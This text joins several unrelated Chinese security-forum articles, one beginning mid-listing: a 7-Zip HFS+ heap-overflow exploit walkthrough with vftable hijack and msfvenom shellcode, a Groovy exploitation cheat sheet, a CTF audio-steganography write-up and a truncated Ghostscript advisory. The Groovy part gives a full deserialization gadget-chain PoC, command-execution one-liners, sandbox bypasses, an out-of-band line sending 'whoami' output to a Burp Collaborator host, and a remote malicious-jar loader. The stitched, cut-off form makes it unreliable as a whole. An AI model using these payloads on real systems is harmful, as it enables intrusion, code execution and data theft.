2016-07-09 16:59:06 ..... 71 4096 Disk Image.fseventsd000000000f3527b
2016-07-09 16:59:06 ..... 36 4096 Disk Image.fseventsdfseventsd-uuid
------------------- ----- ------------ ------------ ------------------------
2016-07-09 16:59:06 660838 1201028 7 files, 5 folders
## 三、准备测试环境
### 3.1 编译7zip 15.05 beta
为了让漏洞分析利用过程更加易懂，我们可以在7zip[源代码](http://www.ski-epic.com/2012_compiling_7zip_on_windows_with_visual_studio_10/index.html)中添加一些调试信息，然后编译生成7zip。我们可以修改编译文件（Build.mak），启用调试符号功能，如下所示：
Standard:
- CFLAGS = $(CFLAGS) -nologo -c -Fo$O/ -WX -EHsc -Gy -GR- - CFLAGS_O1 = $(CFLAGS) -O1
- CFLAGS_O2 = $(CFLAGS) -O2
- LFLAGS = $(LFLAGS) -nologo -OPT:REF -OPT:ICF
With debug:
+ CFLAGS_O1 = $(CFLAGS) -Od
+ CFLAGS_O2 = $(CFLAGS) -Od
+ CFLAGS = $(CFLAGS) -nologo -c -Fo$O/ -W3 -WX -EHsc -Gy -GR- -GF -ZI
+ LFLAGS = $(LFLAGS) -nologo -OPT:REF -DEBUG
7zip源码编译完成后，我们可以先用PoC测试一下，看溢出前的堆布局结构，命令如下：
"C:Program FilesWindows Kits10Debuggersx86windbg.exe" -c"!gflag -htc -hfc -hpc" t:projectsbugs7zipsrc7z1505-srcCPP7zipinstalled7z.exe x PoC.hfs
注意：调试会话中记得使用!gflag命令来关闭所有堆选项。
来看看该缓冲区后面的内存块，如下所示：
看上去我们很有希望能够利用这种堆结构。我们可以找到带有vftable（虚函数表）的一些对象。这些对象有可能能够用来操纵代码的执行流程。利用我们自己的数据覆盖vftable后，我们可以绕过现代操作系统中的堆溢出保护机制，接管代码执行流程。
做个测试，在不该变PoC的前提下，覆盖调试会话中的对象，继续执行，如下所示：
根据测试结果，程序会调用溢出点之后被覆盖的对象，调用过程非常快，因此没有其他内存操作（如alloc/free）能够影响调用点之前已损坏的堆结构。如果不满足这种情况，程序就会出现崩溃。现在我们需要确认此时此刻堆结构与标准版本的7zip一致。需要注意的是，调试版7zip的堆结构与正式版的可能有明显不同，这一点非常重要。
### 3.2 定位ExtractZLibFile函数
为了确认标准版7zip的堆结构，我们需要找到ExtractZLibFile函数，这个函数中会调用ReadStream_FALSE函数。
为了定位该函数，我们可以在IDA中查找该函数体中使用的某个变量：
0x636D7066
（备注：我们事先已经修改了IDA中的函数名）
进入.text1001D9D9地址后，我们的确能够找到那个函数。
我们可以在ReadStream_FALSE调用处（0x1001D7AB）设置断点，分析buf附近的堆结构。
小贴士：请注意edx指向的是buf缓冲区所在的地址。
堆布局如下所示：
不幸的是，我们发现使用标准版的7zip会得到一个不同的堆布局。比如，在buf缓冲区之后（[size
0x10010]），我们无法找到包含vftable的任何对象。
请注意：即使没有加载调试符号或者RTTI，我们也可以在WinDBG中使用!heap -p -h命令来显示带有vftable的对象。如下所示：
013360b0 0009 0007 [00] 013360b8 0003a - (busy)
013360f8 0007 0009 [00] 01336100 00030 - (busy) ←-- object with vftable
? 7z!GetHashers+246f4
01336130 0002 0007 [00] 01336138 00008 - (free)
01336140 9c01 0002 [00] 01336148 4e000 - (busy)
* 01384148 0100 9c01 [00] 01384150 007f8 - (busy)
我们的目标是开发在实际环境中能够使用的利用工具，因此我们需要找到能够修改堆结构的方法，再重新调整堆布局，以便利用这个漏洞。
## 四、规划利用路线
堆结构主要受到我们构造的PoC.hfs文件的内容及其内部数据结构的影响。如果我们想要修改当前的堆布局，我们需要创造一个合理且可靠的HFS+镜像文件生成器，利用这个生成器将符合要求的HFS+数据添加到文件镜像中，使我们能够重新调整堆分配情况，确保在我们的buf缓冲区后可以看到带有vtable的对象。
我们并不需要构造能够实现所有结构、配置及功能的超级HFS+镜像文件生成器。这个生成器只要能够支持生成我们所需要的元素，使得我们能够重新调整堆布局、触发漏洞即可。
大家可以查看[这份文档](http://dubeiko.com/development/FileSystems/HFSPLUS/tn1150.html)了解有关HFS+文件结构的详细知识，深入理解HFS+文件格式更有助于理解这次调试过程。
### 4.1 识别能够改变堆结构的元素
首先我们需要确定我们文件数据在堆上的具体位置（数据大小可变）。我们可以先寻找负责解析HFS+格式的具体代码。
请注意：7zip在解析特定的格式之前可能会先执行一些命令。比如，7zip可能会执行一些指令来“动态”检测文件格式。
一步一步调试跟踪负责处理PoC.hfs的代码后，我们可以找到在文件解析过程中负责将数据写到堆上的所有函数。
回到源代码中，我们首先可以找到这一个函数：
进一步跟进，可以找到这个函数：
经过一些测试后，我们可以识别出如下这样一段代码：
LoadName函数的代码如下：
其中每个属性都包含一个名称（UTF-16字符串），名称字符串在堆上分配，其大小可变。这看起来是一个绝佳的利用点。我们可以添加尽可能多的属性，将属性名作为喷射点加以利用。这里唯一的限制是attr.ID必须设置为除file.ID之外的其他值。
### 4.2 编写HFS+生成器
我们希望生成的文件结构如下所示：
7zip开发者在实现HFS+文件系统解析器时，并没有直接遵循标准的HFS+文档。因此，我们首先需要分析7zip，看看7zip究竟如何解析HFS+。我们公布了一个文件生成脚本，该脚本可以创建漏洞利用所需的载荷文件，大家可以访问[该网址](https://github.com/icewall/CVE-2016-2334/blob/master/hfsGenerator.py)下载此脚本。
图注：在文件格式解析过程中使用的010 Editor模板
如上所述，我们限制了生成器的功能，只能生成必要的文件结构，以触发本文描述的漏洞。将OVERFLOW_VALUE（用来溢出buf缓冲区的缓冲区大小）设置为0x10040后，我们可以生成触发漏洞的载荷文件，在调试会话中得到如下结果：
单步跟进代码执行过程，分析溢出点所在位置：
可以确认我们的HFS+生成器能正常工作。现在，将OVERFLOW_VALUE变量的值增加到0x10300，这个值足以溢出临近的大小为0x310字节的空闲块。同时，这个块中还包含带有vftable的一个对象。如下所示：
可以发现，跟在buf缓冲区后的空闲块变大了，这样一来我们无法成功溢出带有vftable的下一个对象。看来程序会根据我们的文件内容来分配内存空间。为了寻找这条指令的具体位置，我们可以设置如下断点条件：
bp ntdll!RtlAllocateHeap "r $t0=esp+0xc;.if (poi(@$t0) > 0xffff) {.printf "RtlAllocateHeap hHEAP 0x%x, ", poi(@esp+4);.printf "Size: 0x%x, ", poi(@$t0);.echo}.else{g}"
为了简化寻找过程，我们可以使用之前编译好的带有调试信息的7zip：
当缓冲区大小与我们的文件大小相同时，调试器就会触发断点。快速分析后，我们发现断点位于程序中负责启发式检测文件格式的代码片段中。
7zip会分配一个足够大的缓冲区，来处理整个文件内容的大小，在释放先前分配的缓冲区之前，7zip会尝试判断文件的格式。随后，在分配buf缓冲区时，会用到被释放的缓冲区内存空间。这也是为什么我们会在内存块后看到一个空闲区域，并且在增加载荷大小时，该空闲区域大小也会跟增增长。这是不是意味着我们无法成功利用该漏洞？并非如此，你有没有注意到我们保存文件时所使用的后缀名？如果我们想规避7zip的启发式文件检测机制，我们只需要使用正确的文件扩展名即可（本例中为.hfs扩展名）。如果我们使用这个扩展名，7zip就不会执行启发式函数，相应的堆结构如下所示：
## 五、调整利用思路
现在，我们总结一下前面已知的信息，然后再想办法找到可以使用的方法来构造利用程序：
1、我们的目标缓冲区（buf）大小为固定值：0x10010。
2、受此大小值影响，该缓冲区总是由堆后端来分配。详细信息可参考[此处资料](http://illmatics.com/Understanding_the_LFH.pdf)。
3、在溢出之前，我们可以分配任意数量的对象，这些对象的大小可以为任意值。
4、我们无法在堆上执行或触发任何free操作。
5、我们无法在溢出点之后执行任何alloc或free操作。
考虑到上述情况，我们无法执行某些操作，并且Windows 7上还存在堆防护机制，因此我们可以采用如下方法：
1、我们应该寻找带有vftable的一个对象，并且程序在溢出点之后会尽可能快地调用该对象。这一点非常重要，因为如果vftable的调用位置与内存中的溢出点距离过远，那么在此期间程序很有可能会执行一些alloc/free操作，导致程序崩溃。
2、找到这种对象后，使用与该对象大小相同的一些属性（名称）来喷射堆。之所以这么做，是因为分配对象时，如果对象大小与目标对象大小相同，并且个数大于0x10，大小小于0x4000（该值为低碎片堆（Low
Fragmentation
Heap，LFH）最大对象的大小值），那么我们就会激活LFH，为该大小的对象分配空闲内存块。这样溢出缓冲区后就会分配空闲的内存槽（free
slot），这些对象会存放在这些槽中。
### 5.1 识别目标对象
制定利用策略后，我们需要寻找可以覆盖的合适对象。为了找到这个对象，我们可以使用WinDBG的一个简单的JS脚本，该脚本可以打印出带有vftable的对象及其堆栈跟踪（stack
trace）情况。
大家可以访问[此处链接](https://github.com/icewall/CVE-2016-2334/blob/master/heap.js)下载该脚本。
执行结果如下：
首先我们可以先寻找溢出点所在函数（ExtractZlibFile）中是否会分配这些对象，如果存在，程序很有可能会在溢出后马上调用这些对象。根据上图结果，我们可以找到可能满足要求的两个候选者。
上述对象的定义语句如下所示：
Line 1504 CMyComPtr<ISequentialInStream> inStream;
(...)
Line 1560 CBufInStream *bufInStreamSpec = new CBufInStream;
Line 1561 CMyComPtr<ISequentialInStream> bufInStream = bufInStreamSpec;
当函数退出时，就会调用这些对象的析构函数（虚拟函数）。如果想最快触发析构动作，我们可以将溢出缓冲区的首字节设置为0xF：
### 5.2 移动这些对象
识别出待溢出的对象后，我们需要使用与对象大小一致的属性结构来喷射堆（属性结构中包含name字符串），这两个大小值分别为0x20及0x30。
我们可以使用如下代码来完成这个任务：
我们可以写一个WinDBG控制脚本，不断增加属性结构的数量，直至目标对象在溢出缓冲区后分配，或者我们也可以手动来完成这一过程。
我们决定手动完成这一任务，操作也很简单，就是逐步增加对象数量（依次为10、20、30），观察堆布局。当对象位置开始到达缓冲区所在位置时，我们开始逐一增加对象数量。
经过一些尝试后，我们确定所需的对象数量为139个：
139 (0x20 + 0x30 + 2 0x18)
此时堆结构如下所示：
看起来这种堆结构很有希望能够利用成功。将buf缓冲区的位置（该地址为0x12df9c8，计算方法为调用指令所在地址（0x12df9d0）减去8字节）与目标对象的地址（即0x12efdf8）相减，我们就能确定覆盖目标对象需要使用多少字节。为了确定我们载荷可以使用的空间大小，我选择堆上可用的最后一个地址（上图中没有显示出来），这样可以算出来最大可用空间。计算出空间后，我们可以更新OVERFLOW_VALUE变量的值为0x12618。
现在，我们可以再次生成载荷文件，执行应用程序，确认vftable已被成功覆盖：
根据上图所示，我们成功覆盖了vftable，现在我们可以开始编写漏洞利用工具。
### 5.3 检查当前的防御机制
为了进一步开发利用工具，我们需要检查当前7zip版本所使用的防御机制。10.05版7zip所使用的防御机制如下图所示：
如下图所示，7zip并不支持地址空间布局随机化（Address Space Layout Randomization，ASLR）或者数据执行保护（Data
Execution Prevention，DEP）机制。去年漏洞安全公告发布以后，我们曾希望这种情况能有所改观，但事实证明并非如此：
如果你使用的是64位的7zip，操作系统会强制启动DEP机制。
### 5.4 寻找载荷
在寻找可用的gadget（指令代码）之前，我们可以先看一下栈中指向载荷的所有寄存器及指针。
如上图所示，有几个位置分别指向载荷中的不同部位，包括如下位置：
ESI
EDX
ESP
ESP-C
ESP+30
EBP+40
EBP-2C
EBP-68
我们需要确认从载荷到vftable对象的具体偏移量。由于ESI指向的是vftable对象，EDX指向的是我们的缓冲区，因此我们可以通过EDX减去ESI来计算出这个偏移量：
0:000> ?esi - edx
Evaluate expression: 66608 = 00010430
将该偏移处所对应的值存放到载荷中，我们可以得到如下结果：
由于偏移量有所变化（+8），因此该值也发生了变化。现在我们可以开始寻找可用的gadget。
### 5.5 嵌套指针
由于我们要覆盖指向vftable的指针，因此我们需要识别gadget以及指向gadget的指针。
我们可以使用如下工具来完成这一任务：
1、[RopGadgets](https://github.com/JonathanSalwan/ROPgadget)
2、[Mona](https://github.com/corelan/mona)
在分析过程中，我们可以搭配使用多种工具，找到尽可能多的gadget。
首先，使用RopGadgets生成7z.exe以及7z.dll可用的gadget：
接下来，根据这份清单，使用Mona来找到指向这些gadget地址的指针。
### 5.6 利用7zip中缺失的DEP机制
由于此7zip版本不支持DEP机制，因此利用该漏洞最简单的一种方法就是将代码执行流程重定向到位于堆上的缓冲区。回顾一下我们前面得到的那些指针，从中我们可以找到符合这些要求的一些指针，如下所示：
从上图可知，有多个地址包含相同的指针值。这些地址非常有用，因为在我们的gadget中，我们会使用ESP寄存器所指向的这些指针，来将代码执行流程重定向到我们的缓冲区。我们会将指向伪造的vftable的指针地址存放在ESI中，而这些地址包含的值与ESI所指向的值相同。
掌握这些信息后，我们需要识别指针对应反汇编代码中的哪条指令。
如你所见，POP
ES这条指令会导致程序异常。此外，栈上并不会出现任何值被pop到ES上的情况。幸运的是，经过反汇编后，还有一条gadget地址能够得到较为可用的一条指令：
0x1007c748 - 8 = 0x1007c740
EDI指向的是一段可写的内存区域，因此我们应该能够执行这些指令。
我们还需要注意，这条指令中用到了我们用来填充缓冲区的那些字节（0xcc）。
考虑到这一点，在设置shellcode在缓冲区中的偏移位置时，我们需要忽略3个字节。
### 5.7 添加ShellCode
现在我们可以开始添加shellcode，其偏移地址为：
fake_vftable_ptr_offset = 0x00010430 + 3 ("0xCC")
我们可以使用Metasploit中包含的[msfvenom](https://www.offensive-security.com/metasploit-unleashed/msfvenom/)工具来生成shellcode：
添加shellcode后，新的脚本如下所示：
### 5.8 测试利用程序
现在一切已准备就绪，我们可以生成HFS文件，测试漏洞利用程序，测试视频如下所示：
<http://v.youku.com/v_show/id_XMzIwMTg4MTkxMg==.html>
可以看到我们的shellcode能够成功执行。
### 5.9 稳定性分析
我们已经证实，可以使用大小为0x20以及0x30的对象来喷射堆，实现漏洞利用，但这种方法的稳定性如何呢？
相同版本的7zip在解析相同的HFS文件时应该会得到相同的堆布局，但我们还需要考虑堆上分配的一些不确定因素，如环境变量、命令行参数字符串、指向载荷文件的路径等。在不同系统上，这些因素可能有所不同，有可能会改变堆布局。
不幸的是，在本文案例中，这些不确定因素与我们的溢出缓冲区位于同一个堆上，至少我们所使用的命令行版7zip会面临这种情况。分析用于分配目标缓冲区的堆内存结构后，我们可以看到如下信息：
检查堆布局后，我们可以找到一个字符串，该字符串为需要解压的HFS文件的具体路径。这个字符串变量的长度会显著影响堆上的空闲及已分配空间，因此会影响堆喷射对象布局，导致漏洞利用失败。
如果想要解决空闲堆空间差异问题，一种方法是创建足够大的分配空间，耗尽堆上可用的空闲空间，创建过程中需要考虑文件路径、环境变量长度等系统限制因素。这种方法留待大家来完成，大家也可以顺便研究一下图形界面版的7zip的内存布局。
## 六、总结
现代系统中，虽然与Web浏览器漏洞利用相比，基于堆缓冲区溢出的应用级漏洞（如压缩程序、通用文件解析器等程序）无法灵活操纵堆布局，但我们还是可以探索这种漏洞利用方式。由于我们难以使用堆元数据损坏方法来利用漏洞，我们可以通过覆盖应用程序的数据来接管代码执行流程，完成漏洞利用任务。目前某些产品中仍然没有具备标准的漏洞利用防护机制，因此我们的利用过程并没有想象中那么难。 | 社区文章 |
## 反序列化
**Groovy : 1.7.0-2.4.3**
AnnotationInvocationHandler.readObject()
Map.entrySet() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute()
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
public class Groovy_POC {
public static String serialize(Object obj) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(obj);
byte[] bytes = barr.toByteArray();
barr.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String base64) throws Exception{
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream barr = new ByteArrayInputStream(decode);
ObjectInputStream inputStream = new ObjectInputStream(barr);
inputStream.readObject();
}
public static void main(String[] args) throws Exception{
//封装对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");
//反射获取AnnotationInvocationHandler构造方法
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
//动态代理
Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);
//初始化
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
//序列化
String serialize = serialize(invocationHandler);
System.out.println(serialize);
//反序列化
unserialize(serialize);
}
}
## 代码注入
### 条件
如果外部可控输入Groovy代码或者外部可上传一个恶意的Groovy脚本，且程序并未对输入的Groovy代码进行有效的过滤，那么会导致恶意的Groovy代码注入，从而RCE
### 多种命令执行方法
运行这样一个Groovy代码，将会弹出一个计算器，成功执行了命令(def是用来定义标识符)
//其他执行命令执行的方法
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"
//回显的方式
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}"
### 注入点分析
#### MethodClosure
看看他的构造方法
可以发现他传入了一个对象，第二个是对象的方法，通过其中的docall方法进行调用
但是`docall`方法是`protected`修饰的，不能直接调用，调用它的父类`Closure`的call方法间接调用
package ysoserial.vulndemo;
import org.codehaus.groovy.runtime.MethodClosure;
public class GroovyInject {
public static void main(String[] args) {
// MethodClosure methodClosure = new MethodClosure(Runtime.getRuntime(), "exec");
// methodClosure.call("calc");
MethodClosure methodClosure = new MethodClosure("calc", "execute");
methodClosure.call();
}
}
#### GroovyShell
类中的`evaluate`方法有多个重载，支持有`GroovyCodeSource String File URI`
等参数类型，能够通过Groovy代码写入或者本地加载或者远程加载Groovy脚本来执行命令
其中的`parse`方法就是或者对应的Groovy脚本，之后调用run方法进行执行代码内容
//直接执行Groovy代码
GroovyShell shell = new GroovyShell();
shell.evaluate("\'calc\'.execute()");
//通过加载本地脚本
GroovyShell shell = new GroovyShell();
Script script = shell.parse(new File("src/main/java/ysoserial/vulndemo/GroovyTest.groovy"));
script.run();
GroovyShell shell = new GroovyShell();
shell.evaluate(new File("src/main/java/ysoserial/vulndemo/GroovyTest.groovy"));
//通过加载远程脚本
GroovyShell shell = new GroovyShell();
shell.evaluate(new URI("http://127.0.0.1:8888/GroovyTest.groovy"));
这里的url和Groovy代码同样可以通过GroovyCodeSource封装之后执行`evalute`执行代码
#### GroovyScriptEngine
GroovyScriptEngine可从指定的位置（文件系统、URL、数据库等等）加载Groovy脚本，并且随着脚本变化而重新加载它们
其构造方法存在重载的方式，可以指定远程`Url/根文件位置/ClassLoader`
之后通过使用run方法回显，有两个重载，一个是传入脚本名和对应的参数，另一个是脚本名和Binding对象
//通过传入根路径之后调用对应的脚本
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/ysoserial/vulndemo");
scriptEngine.run("GroovyTest.groovy", "");
//通过调用远程url之后调用特定脚本
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://127.0.0.1:8888/");
scriptEngine.run("GroovyTest.groovy", "");
//通过Binding加载
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("");
scriptEngine.run("src/main/java/ysoserial/vulndemo/GroovyTest.groovy", new Binding());
#### GroovyClassLoader
GroovyClassLoader是一个定制的类装载器，负责解释加载Java类中用到的Groovy类，重写了loadClass和defineClass方法
`parseClass` 可以直接从文件或者字符串中获取groovy类
//从文件中获取Groovy类
GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
Class aClass = groovyClassLoader.parseClass(new File("src/main/java/ysoserial/vulndemo/GroovyTest.groovy"));
GroovyObject object = (GroovyObject) aClass.newInstance();
object.invokeMethod("main", "");
//从文本中获取Groovy类
GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
Class aClass = groovyClassLoader.parseClass("class GroovyTest {\n" +
" static void main(args){\n" +
" println \"${'whoami'.execute().text}\"\n" +
"\n" +
" }\n" +
"}");
GroovyObject groovyObject = (GroovyObject) aClass.newInstance();
groovyObject.invokeMethod("main", "");
#### ScriptEngine
在ScriptEngine中，支持名为“groovy”的引擎，可用来执行Groovy代码。这点和在SpEL表达式注入漏洞中讲到的同样是利用ScriptEngine支持JS引擎从而实现绕过达到RCE是一样的
ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");
System.out.println(scriptEngine.eval("\"whoami\".execute().text"));
### bypass方法
#### 反射+字符串拼接
import java.lang.reflect.Method;
Class<?> rt = Class.forName("java.la" + "ng.Run" + "time");
Method gr = rt.getMethod("getR" + "untime");
Method ex = rt.getMethod("ex" + "ec", String.class);
ex.invoke(gr.invoke(null), "ca" + "lc")
#### Groovy沙箱绕过
Groovy代码注入都是注入了execute()函数，从而能够成功执行Groovy代码，这是因为不是在Jenkins中执行即没有Groovy沙箱的限制。但是在存在Groovy沙箱即只进行AST解析无调用或限制execute()函数的情况下就需要用到其他技巧了
##### @AST注解执行断言
<https://www.groovy-lang.org/metaprogramming.html#_available_ast_transformations>
利用AST注解能够执行断言从而实现代码执行
//@AST注解执行断言
this.class.classLoader.parseClass("""
@groovy.transform.ASTTest(value={
assert Runtime.getRuntime().exec("calc")
})
def x
""")
//OOB
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//使用Base64编码
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJjYWxjIil9KWRlZiB4")))
//同样可以直接使用Byte
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
模拟受害者：
class TestScript {
static void main(String[] args) {
//加载恶意脚本
GroovyShell shell = new GroovyShell()
shell.parse(new File("Test.groovy")).run();
}
}
##### @Grab注解加载远程恶意类
Grape是Groovy内建的一个动态Jar依赖管理程序，允许开发者动态引入不在ClassPath中的函式库
需要导入`ivy`依赖，不然会报错(你可以试试)
<dependency>
<groupId>org.apache.ivy</groupId>
<artifactId>ivy</artifactId>
<version>2.4.0</version>
</dependency>
###### POC
//@Grab注解加载远程恶意类
this.class.classLoader.parseClass("""
@GrabConfig(disableChecksums=true)
@GrabResolver(name="Poc", root="http://127.0.0.1:8888/")
@Grab(group="Poc", module="EvilJar", version="0")
import java.lang.String
""");
这里的加载依赖会看本地仓库是否有，如果没有就从root服务器的`group/module/version`目录里面下载`EvilJar-0.jar`文件，默认存放在`~/.groovy/grapes`目录下
之后使用`processOtherServices`方法处理其他服务，比如这里的name
我们就需要在服务器上编写一个恶意类
//Poc.java
public class Poc{
Poc() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
//编译成.class文件
javac Poc.java
//创建目录
mkdir -p META-INF/services/
//在org.codehaus.groovy.plugins.Runners中写入加载的类名Poc
echo Poc > META-INF/services/org.codehaus.groovy.plugins.Runners
//将.class文件打包成jar包
jar cvf module-version.jar Poc.class META-INF/
//创建放jar包的目录
mkdir -p group/module/version/
//将jar包复制到该目录下
mv module-version.jar group/module/version
//之后开启http服务
## 排查方法
排查关键类函数特征：
关键类 | 关键函数
---|---
groovy.lang.GroovyShell | evaluate
groovy.util.GroovyScriptEngine | run
groovy.lang.GroovyClassLoader | parseClass
javax.script.ScriptEngine | eval | 社区文章 |
# 从buu到红帽的图片隐写
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 恢复黑白图片
### buuoj 静静听这么好听的歌
由于网上wp只给了代码而且函数非常吓人，因此我写了一个新手版的wp。
以下是源码，注释是我自己加的。(因为不是很熟悉matlab代码因此特意详细分析了这一道题目)。代码逻辑是什么呢？非常简单。
* 先打开BGM.wav文件然后再打开img文件，通过设置一个flag值(这里是44,也可以任意修改,当flag值为5时会破坏文件头结构(不过也没什么关系，反正隐写后文件都打不开)，因此一般设置稍高一点)。
* 当拿到img的二维数组后，将其转为一维数组wi。
* 把wi数组通过for循环写入BGM.wav文件中。
加密脚本：
fid=fopen('BGM.wav','rb');
%此处的inf表示无穷大，表示取尽wav文件。
a=fread(fid,inf,'uchar');
%为什么这里是44?只是一个标志性数字可以当做hint使用.
n=length(a)-44;
fclose(fid);
img=imread('flag.bmp');
[row,col]=size(img);
%二维数组转换为一维数组
%388*100的二维数组img被转换为38800*1的一维数组wi
wi=img(:);
if row*col>n
error('文件太小');
end
%watermarkedaudio即为隐写文件(文件大小有限制)
watermarkedaudio=a;
%需要lsb隐写的长度
watermarklength=row*col;
%循环插入低位。不使用文件的前44个字节。
for k=1:row*col
watermarkedaudio(44+k)=bitset(watermarkedaudio(44+k),1,wi(k));
end
figure;
subplot(2,1,1);plot(a);
subplot(2,1,2);plot(watermarkedaudio);
%将修改后的字节写入wav文件
fid = fopen('2.wav', 'wb');
fwrite(fid,watermarkedaudio,'uchar');
fclose(fid);
那么我们来思考一下，当我们已经成功拿到了该wav文件的加密脚本，对于解密脚本该如何编写呢？
首先读取该文件。对于标志位44我们要循环读取对应的低位数字并还原为img数组。那么要完成这个操作我们需要数组长度，也就是上面的38800。我们该如何得到宽高呢？
属实是一个脑洞呢。然后需要去爆破高度值或者猜测。
这里我们就假设已经知道了宽高为388*100吧。
然后我们去读取45-38845的低位值并转换为二维数组。函数：
function A=convert(oi,row,col)
%创建一个二维空数组
A = zeros(row,col);
for i=1:row
for j=1:col
A(i,j) = oi((i-1)*col+j);
end
end
end
那么现在就开始编写解密脚本吧。
clc;
clear;
row = 388;
col = 100;
marklength = row*col;
imgData = [0]*marklength;
wavFile = fopen('静静听这么好听的歌.wav','rb');
data = fread(wavFile,inf,'uchar');
for i=45:marklength+45
imgData(i-44) = bitget(data(i),1);
end
%拿到一维数组后进行转换
img = convert(imgData,row,col);
imwrite(img,'flag.bmp');
imshow('flag.bmp');
title('extracted watermark');
同时可以看到生成了flag.bmp文件了。
这里保留一个疑问?我们这里输出的是一幅黑白图。那如果是一幅彩色图的话我们这种解密方法还是可以使用吗？
关键点在该语句。
imgData(i-44) = bitget(data(i),1);
我们首先将data(i)转为二进制数字然后取1位(最后一位)。那么需要考虑什么呢？若我们的wav文件中存在大量FF的hex代码时，我们是无法使用该隐写方法的。同时在此条件下我们只能写黑白图片。
<https://blog.csdn.net/zrools/article/details/50630780>
### 彩色转黑白图
对于这道题的学习不止于此。当我考虑是否能够编写出一个隐写彩色图的方法时。
编写了一个能把彩色图变为黑白图的脚本。
(调整255为其他值可以调整色度)
clc;
clear;
img = imread('test.png');
[row,col] = size(img);
for i=1:row
for j=1:col
if img(i,j)~=0
%调整255为其他值可以调整色度
img(i,j)=255;
end
end
end
imwrite(img,"test-output.bmp");
## 恢复RGB图片思路
matlab读取RGB图片代码。
test.png是一张420*560的彩色图片，我们用于实验。
[x,img] = imread('test.png');
imshow(x,img);
那么x和img分别是什么呢？
注意到x是420*560的,很明显这是我们的像素点，而这个数值代表着索引。
可以看到img数组是一个256*3的数组，是RGB数组，通过x的索引对应相应的RGB值。拿到对应的RGB值后我们就能恢复我们的彩色图像了。
那么现在思路很清晰了。如果我们要进行彩色图像的隐写，只要需要两个文件。一个是索引文件，一个是RGB数组文件。突然发现红帽做过一样的题目，可能也是我这个出题思路？(可惜了，本来想出题的)。
### 红帽杯
索引文件：data1。
RGB数组：data2。然后我们把这里的hex代码分为三个一组为RGB值。
网上有很多wp，这里不再说了。
至于宽高是通过质数分解得到的。共有7067个索引，因此分解为37*191。
<http://tools.jb51.net/jisuanqi/factor_calc>
以下为解密的python脚本。之前读到过一篇文章。学习图像处理时matlab十分方便，但是我们需要继续深入学习时也该深入以下python的图像处理，感触颇深。至于matlab代码可以在网上自行寻找。
from PIL import Image
f1 = open('data1','r')
f2 = open('data2','rb')
pic = Image.new("RGB",(37,191),(255,255,255))
pocLis = f1.read()
arrs = f2.read()
pocLis = pocLis.split(' ')
r = []
for i in range(len(arrs)//3):
rgbTemp = arrs[i*3:i*3+3]
RGB = rgbTemp[0],rgbTemp[1],rgbTemp[2]
r.append((RGB))
for i in range(37):
for j in range(191):
rgb = r[int(pocLis[i*191+j])]
pic.putpixel((int(i),int(j)),rgb)
pic.save('flag.png') | 社区文章 |
# ghostscript命令执行漏洞预警
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 漏洞背景
8 月 21 号，Tavis Ormandy 通过公开邮件列表（hxxps://bugs.chromium[.]org/p/project-zero/issues/detail?id=1640），再次指出 ghostscript 的安全沙箱可以被绕过，通过构造恶意的图片内容，可造成命令执行。
ghostscript应用广泛，ImageMagick、python-matplotlib、libmagick 等图像处理应用均有引用。
